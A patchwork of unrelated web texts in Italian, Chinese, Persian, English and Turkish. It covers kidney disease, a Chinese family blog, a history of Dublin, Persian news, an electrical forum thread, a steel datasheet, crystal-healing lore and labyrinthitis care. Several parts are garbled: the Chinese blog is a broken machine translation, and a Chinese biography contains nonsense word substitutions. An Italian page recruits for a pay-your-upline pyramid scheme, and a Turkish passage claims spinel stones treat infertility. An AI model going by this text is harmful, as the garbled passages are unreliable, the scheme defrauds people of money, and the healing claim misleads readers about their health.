Le cause più comuni di malattia renale sono condizioni che mettono i reni sotto sforzo. L'ipertensione è un esempio. Nel corso del tempo, l'aumento della pressione provoca danni ai piccoli vasi sanguigni nei reni che trasportano il sangue da filtrare. Il colesterolo alto può anche contribuire al danno renale in quanto provoca l'accumulo di depositi di grasso nei vasi sanguigni che forniscono i reni.
Le cause più comuni di malattia renale sono condizioni che mettono i reni sotto sforzo. L'ipertensione è un esempio. Nel corso del tempo, l'aumento della pressione provoca danni ai piccoli vasi sanguigni nei reni che trasportano il sangue da filtrare. Il colesterolo alto può anche contribuire al danno renale in quanto provoca l'accumulo di depositi di grasso nei vasi sanguigni che forniscono i reni.
Molte altre cose possono causare il declino della salute dei reni, compresi farmaci e farmaci. Anche i farmaci antinfiammatori prontamente disponibili come l'aspirina o l'ibuprofene possono danneggiare la salute dei reni con un uso regolare a lungo termine.
Fattori di rischio di malattie renaliLe persone con determinate condizioni mediche hanno una probabilità molto più alta di sviluppare malattie renali. Questi sono noti come fattori di rischio. Alcuni fattori di rischio di malattie renali di cui essere a conoscenza sono:
- Diabete o una storia familiare di diabete
- Alta pressione sanguigna (ipertensione) o una storia familiare di esso
- Una storia familiare di malattie cardiache
- Una storia familiare di malattia renale cronica
- Disturbi autoimmuni, come il lupus
- Età avanzata
- Obesità
- Affumicatura
- Uso prolungato di alcuni farmaci o farmaci
- Infezioni croniche del tratto urinario (UTI)
- Calcoli renali
Come diagnosticare la malattia renaleUna persona in un gruppo ad alto rischio può essere consigliata di sottoporsi a regolari controlli medici con un medico. Questo aiuta a rilevare precocemente la malattia renale in modo che possano essere messi in atto piani di trattamento efficaci.
Un
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凯特凯特院里，为索菲拿着一个甜蜜的熊毯，为Annabelle举办了一首三首光栅歌曲。我们还有它。两个女孩都喜欢它。 （我不’认为电池曾经死过。它’s喜欢光明节奇迹。）
当珍妮打电话说她怀孕了三分之一时，我吓坏了一点。雷想要另一个— still does —但我知道统计数据所说，我知道另一个患有唐氏综合症的宝宝可能不会像索菲那样幸运的幸运。 （不是那个索菲都是那么健康，两个开放的心脏手术。）有一段时间，我们回到了不熟悉的草皮，珍妮和我。
Sam本月早些时候翻了1岁，而本周末的女孩和我在丹佛的参观。表兄弟互相崇拜。珍妮和我，从来没有与自己的堂兄弟（Gee，我们的童年一样有关系，听起来很情绪上贫瘠，呵呵？）爱在一起看我们的孩子。我的两个女孩都爱宝贝山姆，这让我暂停了—但是，Jenny和她的丈夫Jonathan所以这也是如此。 （当然她’不太忙，珍妮姨妈没有’不得不找到我从未发现过的难以捉摸的单养巧克力冰淇淋，虽然用一块微小的Elmo蛋糕。我们唱出一个最后的生日快乐到索菲。）
真正阻止我在我的曲目中是annabelle和她的堂兄凯特之间的关系。 Annabelle和Sophie有一个非常棒的融洽关系。他们真的这样做。索菲戏弄和拉头发，但越来越多地，其中两个将消失在Annabelle中’在一起玩的房间。一世’从未见过患者和爱Annabelle的灵魂，索菲崇拜她的姐姐。我甚至可以欺骗自己思考我们的家庭是正常的—直到我看到Annabelle和凯特在一起。
这两个是真正的BFF，打击并玩错综复杂的假装游戏;她’两岁以下，但凯特几乎毫不费力地跟着Annabelle。他们’重新相同的大小;事实上，Annabelle有时会穿凯特’让我失望。我看着他们，看着灵魂姐妹，我害怕我’无论他们彼此相爱多少，都没用Annabelle和Sophie看到它。
我不’知道Sophie是如何跟上的。我在今天在公园的明亮黄色秋千上并排凯特和索菲。凯特’秒只有六个星期;你’D永远不知道，而不只是从他们的身体尺寸。
今天下午，珍妮和我把乔纳森与所有五个孩子留在拐角处，以获得修脚。坐在我旁边的女人在修脚椅子上—漂亮，完美的眼妆和长红指甲—我在那里讲述了别人’这是多年来的失明。她的服务狗是唯一一个给她走走的东西，而她特殊的美丽淡绿色的眼睛，结果是假肢。
那个男人谈到她为这么多问题道歉，而女人说没问题，她’经常被要求在学校发言。我很高兴听她;她以完全真实的方式乐观，事实是关于她的生活。对她没有自怜，至少今天没有。
大约在我们的修脚中途，珍妮意识到她的手机落入水中，并随着她的脚浸泡。另一天，我可能会哭泣。我可以对她说同样的说法。相反，我们互相看着耸了耸肩。然后笑了。 （虽然沙龙的每个人似乎都有一个关于她如何拯救电话的建议，到了晚上的时候，她’d given up hope. I’m sure we’明天为verizon商店提供。）
当我们骑丹佛弗罗德时，在火车上看Annabelle和Kate在火车上玩耍’在寿司街市的S轻轨，我试图想到那个女人的女人，没有’看看，摇晃我的放声。很高兴Annabelle有凯特，我告诉自己。
I’d想告诉你它的工作。我家的低碳生活作文
我家的低碳生活
以前，我认为地球的水资源很多，所以，我经常浪费水，我们家热水器在有热水前会有一大节冷水，我经常把它白白浪费掉，自从有一次，我在电脑上察到了一则关于水资源的资料：地球表面的72%被水覆盖，但是淡水资源仅占所有水资源的0。75%，有近70%的淡水固定在南极和格陵兰的冰层中，其余多为土壤水分或深层地下水，不能被人类利用。地球上只有不到1%的淡水或约0。007%的水可被人类直接利用，而中国人均淡水资源只占世界人均淡水资源的四分之一，到那时我才知道：原来可以供人们用的水那么少啊！我想：我以后再也不浪费水了，并做一个节约用水的好孩子。
从那以后，我们家就开始了低碳生活：用掏米水洗菜，洗菜的水捞出菜叶后可以拖地，拖地的水可以存起来用开冲厕所，一个月下来省下了不少水费。
其实，我们这么节约并不是我们付不起生活费，而是我们要报护大自然的资源。
让我们行动起来吧！让我们生活的地方天更蓝，水更清，让我们的生活更加美好！
【每日写作指导：常见作文写作方法——学生必读】
1、时序变换法
【特点】
植物各个部位的形态和颜色是随着季节的变化而变化。如果我们把植物在不同季节的特点写出来，同时把前后有关的情况交代清楚，就等于在不同的时间给植物拍了彩色照片。看了这一组彩色照片，读者对它就有了一个较为全面的.了解。采用时序变换法描写植物，首先要注意在平时积累资料。要有计划地在不同季节对同一植物进行仔细观察，并记下观察日记，这样，写作时才能对积累的材料进行取舍，写出一篇好文章。其次要注意观察的连续性。
2、生长变化法
【特点】
植物总是要生长的，一般要经过发芽、生枝、长叶、开花、结果等阶段。如果把植物生长的不同阶段的形状、颜色的特点和生长的情况与下来，就好像给这棵植物拍了一部小电影。（next88）读者可以在很短的时间内，通过阅读，了解植物生长的全过程。采用生长变化法描写植物，首先要注意把植物生长过程中最突出的变化写下来；其次要交代植物发生变化的原因、前后情况和过程；此外要注意按时间的先后顺序有条不紊地写下来。
3、展开联想法
【特点】
我们看到一棵植物，往往联想到其它事物，这些事物往往与这棵植物有共同之处。例如我们看到棉桃，联想到洁白的雪花，这是因为雪花和棉花的颜色相同；我们看到大西瓜，联想到篮球，这是因为西瓜和篮球的形状相似；我们看到冰在雪地中郁郁葱葱的松树，想起那些在敌人面前不怕严刑拷打，决不屈膝的英雄，那是松树与英雄的品质上有相似之处。采用联想的方法描写植物，要注意抓住植物的主要特点，展开丰富的想象。要提高自己的联想能力，首先要认真读书，了解生活，使自己的头脑储备丰富的知识。其次是勤思勤想，经常训练，使自己有丰富的想象能力。
4、突出重点法
【特点】
植物总是由根、茎、枝、叶、花、果组成。我们在描写植物的时候，可以对植物的根、茎、枝、叶、花、果的各个部分进行描述，也可以只对植物的某一部分进行描述。采用重点突出法描写植物时，首先要找出这棵植物与众不同的地方。其次要对最能体现这棵植物特点的部分从颜色、形状、气味等多方面进行具体描写。此外还可以恰当地运用拟人、比喻等方法。
5、对照比较法
【特点】
俗话说：“不见高山，不知平地。”事物的特点往往在比较中得到显现。我们描写植物时，往往通过对照比较的方法来突出植物的特点。对照比较的方法有两种。一种是把这种植物与另一种植物进行比较；一种是把植物本身两种截然不同的特点放在一起比较。采用对照比较法要注意抓住所要描写的植物最显着的特点与其他植物作比较。这样才能给读者以深刻的印象和启示。采用对照比较法还要注意表达作者自己的思想感情和倾向性。这样才能使文章感人。抓住同一植物不同部位进行比较时，要注意找出矛盾点，这样才能引起读者的注意。
描写人物肖像，可以对人物的身材、体型、衣着、容貌、神情、姿态、风度的某一方面或几个方面作简要的勾勒。运用粗笔勾勒法描写人物肖像要抓住人物的最主要的特征，用朴实的文字简略地写出来，不宜用过多的形容词、过多的比喻。其次要简练传神，通过
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ن شورا را جهت تغییر رای و نظر در این حوزه قانع نمایند یا خیر.
اسقاط خودروهای فرسوده نیازمند مجموعه ای از اقدامات پیوسته
بررسی تجربیات کشور در زمینه اسقاط خودروهای فرسوده نشان می دهد که برای افزایش آمار از رده خارج شدن وسایل نقلیه فرسوده، ضروری است مجموعه ای از اقدامات در کنار هم انجام شود.
الزام واردکنندگان قطعه و خودرو و تولیدکنندگان خودروهای پرمصرف به اسقاط و تغییر شرایط بیمه متناسب با سن خودرو، از جمله مواردی است که باید در یک بسته جامع در این زمینه مورد توجه قرار گیرد.
افزایش آمار اسقاط، آلودگی هوا را کاهش خواهد داد و زمینه را برای افزایش تولید خودرو توسط شرکت های داخلی فراهم می آورد؛ اقدامی که می تواند به افزایش کیفیت خودروسازان داخلی نیز وابسته باشد.
پینوشت:
[۱] سازمان خبری خودرو و صنایع وابسته کدخبر:۵۱۱۶۳۳|Accompanying Lewis map for Dublin city
Dublin city (Part 1)
DUBLIN, the metropolis of Ireland, and a city and county of itself, in the province of LEINSTER, situated in 53? 21' (N. Lat.) and 6? 17' (W. Lon.), 339 miles (N. W.) from London ; containing, in 1831, 265,316 inhabitants, of which number, 204,155 are within the boundary of the civic jurisdiction, and the remainder in the county of Dublin.
The existence of this city, under the name of the city Eblana, was first noticed by Ptolemy, the Roman geographer, who lived about the year 140. Shortly after it is mentioned by the native historians, as being fixed on as the eastern boundary of a line of demarcation drawn westwards across the island to Galway, for the purpose of putting an end to a war between two rival monarchs, Con-Cead-Cathach, King of Ireland, and Mogha Nuagad, King of Munster ; the portion of the island to the north of the boundary line being assigned to the former, the southern portion to the latter, of the contending parties. The city originally occupied the summit of the elevated ridge that now forms its central portion, extending from the Castle westwards towards Kilmainham, and was at first called by the native Irish Drom-Col-Coille, or the "Hill of Hazel wood," from the number of trees of that species which grew on it. The correctness of this conjecture as to the origin of the name is confirmed by the fact that, on clearing away the foundations of the old chapel royal in the castle, some years since, to prepare for the erection of the beautiful structure that now supplies its place, they were ascertained to have been laid on piles of hazel-wood. Another ancient name, still retained by the natives, is Bally-Ath-Cliath-Duibhlinne, the "Town of the Ford of Hurdles on the Blackwater," given to it in consequence of the people having access to the river by means of hurdles laid over its marshy borders, before it was embanked. By the Danish settlers in the district of Fingal, to the north of the city, it was called Divelin, and by the Welsh it is still called Dinas Dulin.
The only circumstance on record connected with the city, during a long interval, is that the inhabitants of Leinster were defeated in a great battle fought at Dublin, by Fiacha Sraotine, monarch of Ireland, in 291. After which its annals present a total blank until the year 448, when, according to Josceline, Alphin Mac Eochaid, King of Bally-Ath-Cliath, was converted to Christianity by the preaching of St. Patrick, and baptised by him at a spring on the southern side of the city, near the tower of the cathedral afterwards dedicated to that saint, and still known by the name of St. Patrick's well. The Black Book of Christ-Church, a manuscript of high antiquity and repute, states that St. Patrick celebrated mass in one of the arches or vaults built by the Danish or Ostman merchants as a depository for their goods, long before the fleets of that nation appeared on the coast with the intention of taking military occupation of the country. It was not till the beginning of the ninth century that these marauders, who afterwards harassed all the northern coasts of Europe by their predatory invasions, divested themselves of the character of merchants, in which they had hitherto maintained an intercourse with the people of Ireland, to assume that of conquerors. In 836, the Ostmen or Easterlings, by which name the Danes were then known, entered the Liffey in a fleet of sixty ships in aid of their countrymen, who had ravaged the land and even fixed themselves in some districts several years before. Dublin now submitted to them for the first time ; and they secured themselves in the possession of it by the erection of a strong rath, which enabled them not only to overawe the city but to extend their power through Fingal, to the north, and to Bray and the Wicklow mountains to the south. The district from that time was the principal Danish settlement in Leinster ; Fin-Gal, to the north of the river, having acquired its name, as being the territory of the "White Strangers," or Norwegians ; and the tract to the south being distinguished by the appellation of Dubh-Gal, or the territory of the "Black Strangers," from the Danes.
But the invaders did not enjoy their newly gained acquisition in tranquillity. On the death of their king Tor-magnus or Turgesius, who, after having reigned despotically over a great part of the island for more than 40 years, was defeated and put to death, in 845, by Malachy, King of Ireland, the Danes were driven out of Dublin, and the city plundered by the Irish of Meath and Leinster, In the year following, however, they regained possession of it and secured themselves by adding new fortifications to those already constructed, and were still further strengthened by the arrival of Amlave, or Aulaffe, who, having landed in 853 with a powerful reinforcement of Danes and Norwegians, assumed the supreme authority over all the Danish settlers ; and in the hope of enjoying quiet possession of his newly acquired dignity, he concluded a truce with the neighbouring Irish chieftains, but it continued only for three years. The annals of the remainder of this century are occupied with recitals of reciprocal attacks of the irish and the foreigners, in which the one party failed to expel the invaders, and the other was equally unsuccessful in enlarging the bounds of their authority, or even of fixing it on a permanent basis in the capital of the district that acknowledged their sway : in one of those conflicts, Clondalkin, the favourite residence of Aulaffe, was burnt and upwards of one hundred of his principal followers were slain ; in another he retaliated on the enemy, by plundering and burning the city of Armagh. So firmly did the Danish king feel himself fixed in his restored dominion, that he proceeded with his son Ivar, in a fleet of 200 vessels to aid his countrymen Hinguar and Hubba, then contending against the Saxons in the West of England, and returned next year laden with booty. On the death of Aulaffe, which took place the year following, his son Ivar succeeded him in the government of Dublin, where the opinion of his power was such that the Irish annals give him the title of King of the Normans of all Ireland. A few years after, the men of Dublin fitted out an expedition under the command of Ostin Mac Aulaffe against the Piets of North Britain, in which they were successful. Encouraged by these instances of good fortune, they again invaded South Wales, but were driven out with great loss ; to wipe off which disgrace they made an incursion into Anglesey, a few years after, and ravaged it with fire and sword. During all this period hostilities were carried on between them and the Irish with little intermission. The annals of the tenth century state that Dublin was four times taken by the Irish, and the Danes expelled from it, but they invariably returned in strength sufficient to re-establish themselves, and often to retaliate severely on their enemies. This century is remarkable for other events connected with Dublin. Aulaffe Mac Godfrid, the king, was defeated in Northumberland by Athelstan, King of England ; and about the middle of the century, the Ostmen of Dublin embraced Christianity. The first public proof of their conversion was the foundation of the monastery of the Blessed Virgin, near Ostmanstown, on the northern bank of the Liffey. About the same time, Edgar, King of England, is said to have subdued Wales, the Isle of Man, and part of Ireland, particularly the city of Dublin, of which mention is made in his charter dated at Gloucester, in 964.
Towards the close of the century, the power of the Danes in this part of Ireland began to decline. In 980, they were defeated in a memorable battle at Taragh by Melaghlin, King of Ireland, who, following up his success, ravaged Fingal with fire and sword, and compelled the inhabitants of Dublin to pay a tribute of an ounce of gold for every capital messuage and garden in the city. Reginald, the Danish king, was so much affected by his losses that he undertook a pilgrimage to the Isle of Iona, where he died. The last year of the century was rendered still more memorable by the capture of Dublin by the celebrated Brian Boroimhe, King of Munster, who, after exacting hostages to secure his conquest, permitted the Danes to retain possession of it, a concession of which they immediately took advantage by strengthening it with several additional fortifications. Still, however, their power, though diminished, was not destroyed ; for, in the commencement of the ensuing century, Brian Boriomhe, in order effectually to crush them, found it necessary to form a confederacy of most of the subordinate kings of Ireland. The result was the celebrated battle of Clontarf, fought in 1014, in which the Danes were totally defeated, and the shattered remains of their army forced to shut themselves up in Dublin. But the triumph of the conquerors was diminished by the death of their leader, who received a mortal wound at the moment of victory : his son, a number of his nobles, and 11,000 of his soldiers shared his fate. The Danes still kept possession of the city. In 1038, Christ-Church was founded by Sitric the king, and by Donat, the first Danish bishop of Dublin ; Aulaffe, Sitric's son, who succeeded him, fitted out a large fleet in order to reinstate Conan, the prince of North Wales, who had fled to Ireland to escape from the cruelties of Grufydd ab Llewelyn, an usurper, and had afterwards married Sitric's daughter. The expedition, though at first so successful as to have gained possession of Grufydd's person by stratagem, ultimately failed ; for the Welsh, on hearing of his capture, assembled in great numbers, rescued Grufydd, and drove Conan and his Danish auxiliaries to their ships with great slaughter. A second expedition fitted out the ensuing year was equally unfortunate : the greater part of Conan's fleet was destroyed by a tempest and himself driven back on the Irish shore. He made no further attempt to regain his throne, but spent the remainder of his life with his father-in-law in Dublin.
The city was soon after exposed to the assaults of a new enemy. In 1066, Godred Crovan, King of Man, obtained possession of it and overran a large portion of Leinster, over which he assumed the title of king, which he retained till his death, together with that of Man and of the Hebrides. On his demise the sovereign power again devolved on the Danes, who elected Godfrey Meranagh to succeed him. The Danes, though constantly exposed to the hostilities of the natives, against whom they had great difficulty in maintaining their position in the country, increased their difficulties by their internal dissensions. In 1088, those of Dublin besieged the city of Waterford, which was also inhabited by a colony of the same nation, entered it by storm and burnt it to the ground ; and in the following year, the united Danish forces of Dublin, Wicklow, and Waterford proceeded to Cork with a similar intention, but were routed on their march thither and forced to return with considerable loss. For some time after the district appears to have been subject to the kings of Ireland, as no mention is made of any Danish ruler there. At the same time it appears that the kings of England endeavoured to obtain some influence in the affairs of Ireland, for it is stated that Rodolphus, Archbishop of Canterbury, by the orders of Hen. I., consecrated one Gregory Archbishop of Dublin, in 1121, and that this act was done with the concurrence of Turlogh O'Brien, then King of Ireland. Afterwards, however, Dermod Mac Murchad, or Mac Murrough, King of Leinster, exercised paramount authority in the city. He founded the nunnery of St. Mary de Hogges, and the priory of Allhallows, both in its immediate vicinity, and, after overrunning all the surrounding country, forced the Danish residents there to acknowledge his supremacy, which he retained until the commencement of the reign of Roderic O'Conor, King of Ireland, who, on his attainment of the supreme monarchy, was recognised as King of Dublin by the inhabitants, and they in return received from him a present of four thousand oxen.
After the reduction of Wexford by the English forces, who landed at Bannow bay, in 1169, under the command of Robert Fitz
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قابلیت را به استفاده کنندگان از کارت ملی کشتی می دهد تا اطلاعات هویتی و ورزشکاری خود را برای استفاده هیأت های کشتی و فدراسیون و همچنین سایر قابلیت های کارت های هوشمند، ارائه دهند.
قهرمانان، پیشکسوتان، مربیان، داوران و سایر عوامل کشتی می توانند با مراجعه به وبسایت فدراسیون کشتی یا به آدرس:ساعت: 16:31
تاریخ انتشار: 1401/04/02
کد خبر: 1878083
وی با اشاره به اینکه مذاکرات قابل توجهی با لاوروف داشته است، گفت: «ما بر غیر قانونی بودن تحریمهای خودسرانه تأکید کردهایم».
به گزارش شبکه اطلاع رسانی راه دانا ؛ حسین امیرعبدالهیان، وزیر امور خارجه جمهوری اسلامی ایران امروز (پنجشنبه) دوم تیرماه پس از دیدار با سرگئی لاوروف وزیر امور خارجه روسیه در توئیتی نوشت: گفت و گوی قابل توجهی با سرگئی لاوروف وزیر امور خارجه روسیه داشتیم. رویدادهای منطقه ای و بین المللی نیز مورد بحث و بررسی قرار گرفت.
وی افزود: هر دو بر غیر قانونی بودن تحریم های خودسرانه و فراسرزمینی تاکید کردیم. ما موافقت کردهایم که تلاشهای مشترک خود را برای تسریع اجرای کامل توافقهایمان افزایش دهیم.
سرگئی لاوروف وزیر امور خارجه روسیه که چهارشنبه شب در پاسخ به دعوت همتای ایرانی خود برای سفری دو روزه وارد تهران شده بود، صبح امروز در وزارت امور خارجه مورد استقبال حسین امیرعبدالهیان وزیر امور خارجه قرار گرفت. بلافاصله وارد اتاق مذاکره شدند و پشت میز نشستند تا صحبت کنند.
لاوروف روز گذشته در بدو ورود به تهران با آیت الله سید ابراهیم رئیسی رئیس جمهور دیدار کرد.
این اولین سفر لاوروف به تهران در دولت سیزدهم است. وزیر امور خارجه روسیه در فروردین 1400 وارد تهران شد و با محمدجواد ظریف وزیر امور خارجه سابق گفتگو کرد.
امیر عبدالیان نیز پس از تصدی مسئولیت در دی و اسفند 1400 دو سفر به مسکو داشت.
انتهای پیام/Filament has an amount of inductance/capacitance. it is very fine coil.
Even piece of wire has finite capacitance and inductnace. Why do you
think there is a surge current when light bulb is turn on? Ever heard of
phase compensating capacitor or lump inductor. Or go inside a power room
in any big commercial building, what do you see there? Do you know why
electric cable is some times criss crossed or twisted?
Simply to answer your question, Yes, really, always. It becomes very
critical on high frequency. Todays florescent bulbs are driven by 44KHz
current. Pure resistive circuit in real world is problably near none.
Z^2 is combination of R and j(Xl-Xc). Remember HS physics class?
Xl and Xc cancels each other, equal value, whatever left is either Xl,
or Xc. In real world most load is inductive. In inductive circuit
voltage is leading and current is lagging. This phase difference
produces wasted power which does not do any work. Ideally the phase
difference should be zero.
That is why KVA is not equal to Watt rating of a device.(efficiency)
I spent my working life on RF telecommunication(mobile and fixed base),
UPS, MG, Antenna farm, stuff like that.
There is usually a black wire connected to the circuit breaker. If you can
clamp around that wire with the appropriate ammeter (Google clamp-on
ammeter) you can measure the current in that circuit.
What are you trying to accomplish?
I have an adaptor for my ammeter that I can plug into an ordinary wall
receptacle. It has a loop on it to clamp around and I can plug an appliance
into it to see what the load is for that appliance. I think Amprobe makes
On Tue, 20 Feb 2007 18:30:25 -0500, "John Grabowski"
I'm using a Kill-A-Watt meter for that now, but previously I had a VOM
attachment for that. I made it from a remote control cord (just a
switch at one end) with the switch removed and replaced with banana
HomeOwnersHub.com is a website for homeowners and building and maintenance pros. It is not affiliated with any of the manufacturers or service providers discussed here.
All logos and trade names are the property of their respective owners.Sergio Zanotti è stato liberato. Lo ha annunciato il presidente del Consiglio spiegando in una nota che l'imprenditore, rapito in Siria nel 2016, è in buone condizioni generali e tra qualche ora rientrerà in Italia, a Roma. La liberazione sarebbe arrivata "a conclusione di una complessa e delicata attività di intelligence, investigativa e diplomatica, condotta in maniera sinergica", ha sottolineato Conte.
Ad aprile 2016 l'uomo era partito per recarsi in Turchia, in una zona a ridosso col confine siriano. A maggio del 2017, l'imprenditore era apparso in un breve video diffuso dai rapitori che si riteneva fossero gruppi legati ad al Qaeda.Marketing and Money - Redistribuzione del reddito
Fase 1 : Registra i tuoi dati gratuitamente compilando il form che trovi cliccando l'immagine qui sotto e completa la registrazione confermando la tua email.
Passo 2 : Vai su " Area Utenti "ed invia $ 10 (Ten Dollar) solo una volta nella, alla persona indicata da voi o un membro della vostra rete per attivare la tua iscrizione da invitato. Mai pagare alcun costo aggiuntivo o di affitto o l'appartenenza di manutenzione o costi nascosti per utilizzare la nostra piattaforma.
Inviamo i 10 dollari, come si può e la persona che vi invita possibile ricevere . (Può essere qualsiasi mezzo legale e affidabile, come Paypal, AlertPay, STP, Liberty Reserve, Perfect Money, Western Union, grammo dei soldi, in contanti, Trasferimento bancario, tra gli altri).
Una volta che il rispettivo sponsor riceve avviso di pagamento, procede ad attivare la tua iscrizione in modo da poter fare lo stesso e di ricevere i pagamenti per i membri della vostra rete gradualmente ..
Prossimo passo : Una volta ricevuto il pagamento del primo livello nel vostro dowline , è necessario inviare un nuovo pagamento per il secondo livello del vostro upline per attivare il tuo prossimo livello, ripetendo il processo come la rete cresce in profondità ..
La tabella seguente riporta in dettaglio l'investimento da eseguire ad ogni livello il vostro upline e il reddito che ricevete dal vostro downline ..Alloyed structural steel
介绍
20CrMnTi渗碳钢通常为含碳量为0.17%-0.24%的低碳钢。广泛应用于汽车变速器齿轮制造中，变速器齿轮为中淬透性渗碳钢和中铬锰钛钢。在保证淬透性的前提下，具有高淬透性和较高的低温冲击韧性。20CrMnTi渗碳钢表面渗碳硬化处理用钢。机械加工性能好，变形小，抗疲劳性能好。主要用途：用于轴类，活塞类零配件以及汽车，飞机各种特殊零件部位。
特点及适用范围
20CrMnTi渗碳钢具有良好的性能，高淬透性，渗碳淬火后表面坚硬耐磨，芯部坚韧，低温冲击韧性高，正火后焊接性中等，机械加工性好。用于制造截面<30mm的承受高速、中等或重载荷、冲击及摩擦的重要零件，如齿轮、齿圈、齿轮轴十字头等。是18CrMnTi的代用钢，它被广泛用作渗碳零件。在汽车、拖拉机行业中，用于齿轮、轴、齿圈、齿轮轴、滑动轴承主轴、十字头、爪形离合器、蜗杆等重要的渗碳零件，其截面小于30mm，能承受高速、中重载、冲击和摩擦。包森原名赵宝森，于一九三二年步入共产党，参与过打治安军政大学战、在江西繁荣昌盛内外开采抗日游击区，曾任任33大队中共总支部书记、八路军冀东军分区副准将等岗位。1941年，包森在与日伪的应战中不幸牺牲，年仅34虚岁。李运昌曾毫不客气的说“包森在冀东是革命的”，而叶宜伟也赞她是“中中原人民共和国的夏伯阳”。人物生平 1914年一月二十二十四日，包森生于贰个特殊困难农家家中，哥哥和表妹6人，排名第三。老爹是个辛劳的农民，阿娘是个贤良的农家女，家境尽管清苦，父母仍勉为其难供她翻阅。包森幼年读私垫，喜读中夏族民共和国野史的各类演义，特别恋慕各个善宗旨、能打仗、有作为的历史人物。在这个历史人物影响下，他从小产生了急公好义、慷慨豪放的个性。一九二四年，包森入汉台区先是高级小学上学。当时正值蒋介�
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e e, a seconda del contesto in cui viene utilizzata, può avere un differente significato:
- può essere utilizzata come abbreviazione della parola inglese BABE cioè “bimba” rivolgendosi alla propria fidanzata;
- può essere l’acronimo di Before Anyone Else la cui traduzione in italiano è “prima di chiunque altro”. In questo caso si tratta di un modo per definire un amico o un’amica speciale che viene prima di tutti gli altri;
- può essere l’acronimo di Bitches Always Eating (ovvero qualcuno che mangia in continuazione) ed è utilizzato nei ghetti per indicare persone sovrappeso.
Di recente questa parola ha assunto rilevanza internazionale grazie anche ai cantanti Pharrell e Miley Cyrus che l’hanno utilizzata nel brano “Come Get It Bae” che tradotto significa “vieni a prenderlo prima di qualsiasi altra cosa”.ÖZELLİKLER
Spinel enerji yenilenmesiyle, zor koşullarda cesaret göstermeyle ve gençleşmeyle ilgili harika bir taştır. Çakraları açar ve kundalini enerjisinin omurgadan yukarı hareketini kolaylaştırır. Farklı renkleri tüm çakra spektrumuyla bağlantılıdır.
Psikolojik olarak kişiliğin pozitif yönlerini geliştirir. Başarıya alçakgönüllülükle erişip kabullenmeye yardım eder.
KONUM
Çakralar üzerine yerleştirilebilir veya uygun şekilde takılabilir.
ÖZEL RENKLER
Genel özelliklerinin yanı sıra farklı renklerine ait özellikleri aşağıda sıralanmıştır:
Siyah Spinel maddesel problemlerin içyüzünü gösterir ve size devam etmeniz için azim aşılar. Bu renk koruyucudur ve kundalininin yükselişini dengelemek için enerjiyi topraklar.
Mavi Spinel iletişim ve yönlendirmeyi uyarır. Cinsel arzuyu yatıştırır, boğaz çakrasını açar ve temizler.
Kahverengi Spinel aurayı temizler ve fiziksel bedene bağlantılarını açar. Toprak çakrasını açıp sizi topraklar.
Renksiz Spinel mistisizmi ve diğer yüksek iletişimleri uyarır. Fiziksel bedendeki çakraları eterik bedenin taç çakrasıyla ilişkilendirir. Vizyonları ve aydınlanmayı kolaylaştırır.
Yeşil Spinel aşk, şefkat ve kibarlığı destekler. Kalp çakrasını açar ve hizalar.
Turuncu Spinel yaratıcılığı ve sezgileri uyarır, duyguları dengeler ve kısırlığı tedavi eder. Göbek çakrasını açıp hizalar.
Kırmızı Spinel fiziksel canlılığı ve direnci uyarır. Kundaliniyi yükseltir, kök çakrayı açıp hizalar.
Mor Spinel ruhsal gelişimi ve astral yolculuğu destekler. Taç çakrayı açıp hizalar.
Sarı Spinel zekâyı ve kişisel gücü destekler. Karın boşluğu çakrasını açıp hizalar.Çılgınlar
Selma, Necdet, Murat ve Cemil dolandırıcılık yapmaktadırlar. Yeni bir vurgun yapacaklar ve Selma iş adamı Orhan'ı kendine aşık edecek ve parayı bulacaktır. Planları işler ve Orhan Selma'ya aşık olur ama Selma da Orhan'a aşık olmuştur. Onu kandırdığı için utanır ve yaptıklarını itiraf etmeye karar verir ama Orhan her şeyi öğrenmiştir.Labyrinthitis is an inner ear viral infection, where you can typically experience feelings of vertigo and dizziness. It occurs when the labyrinth - a delicate structure deep within the ear - becomes inflamed, often as a result of exposure to another more common viral illness such as a cold or flu.
As the home of the cochlea (hearing) and the vestibular (balance) systems, any damage to the labyrinth can cause severe discomfort and lethargy, meaning that you may struggle with everyday tasks until you have fully recovered.
There are three symptoms that arise with nearly every case of labyrinthitis - dizziness, hearing loss and vertigo. In mild cases, you may only experience slight symptoms in short bursts, but in severe cases you may encounter high intensity loss of balance that you may not be able to stand upright, or it could be suspected that you were having a stroke.
Other symptoms of labyrinthitis include:
If you are feeling dizzy or unbalanced, it is advised that you avoid driving, using tools and machinery, or working at heights. Symptoms normally last anywhere from a few days to several weeks, but particularly bad cases can persist for months or even years after the initial viral infection has gone.
If you are experiencing balance symptoms without hearing loss, you could actually be suffering from a condition known as vestibular neuronitis. Both terms are used interchangeably, with only a very slight difference in symptoms.
Labyrinthitis and vestibular neuronitis are both viral infections, caused by common illnesses such as sore throats, glandular fever, colds or flu. Other causes are less likely, but certain other conditions may have symptoms that encourage labryrinthitis:
For sudden attacks of vertigo that are accompanied by deafness in one ear, it is advised that you seek urgent medical attention, as it could be a sign of blocked blood vessels to the brain or there may be additional problems which may need hearing aid support. For less intense but more persistent cases, your local doctor may prescribe anti-sickness medication to help with the vertigo, or a short course of steroid tablets that will encourage the inflammation to reduce quicker. If symptoms do not clear up within a few weeks, you may be referred for vestibular rehabilitation therapy.
For incidences of labyrinthitis that have a less common cause, specific treatment will be prescribed. For instance, a bacterial infection in the middle ear might require antibiotics that would be ineffectual for a viral infection.
If you’re suffering with labyrinthitis, there are a variety of self-help options that might alleviate some of the symptoms. Drinking plenty of water, bed rest and minimising exposure to bright lights, caffeine and loud noises should help ease the dizziness. It is also advised to avoid stressful situations.اصفهان ميزبان تخصصي ترين و مهم ترين نمايشگاه صنعت سيمان كشور
اگرچه 70 درصد زنجیره تأمین صنعت سیمان در اصفهان قرار دارد و همچنین 7 برند و واحد بزرگ و مهم تولیدی این صنعت در اصفهان مستقر هستند، متأسفانه در دوره های گذشته 60 درصد مشارکت کنندگان این نمایشگاه از استان هایی به غیر از اصفهان بوده اند که امیدواریم این روند در سال جاری تغییر کند.
سومین نمایشگاه بین المللی سیمان، معدن، صنایع، فرآوری، مواد معدنی و خدمات وابسته در حالی از 8 تا 11 شهریور ماه در محل نمایشگاه های بین المللی استان اصفهان واقع در پل شهرستان برگزار خواهد شد که این نمایشگاه، اولین و تخصصی ترین نمایشگاه صنعت سیمان کشور محسوب می شود.
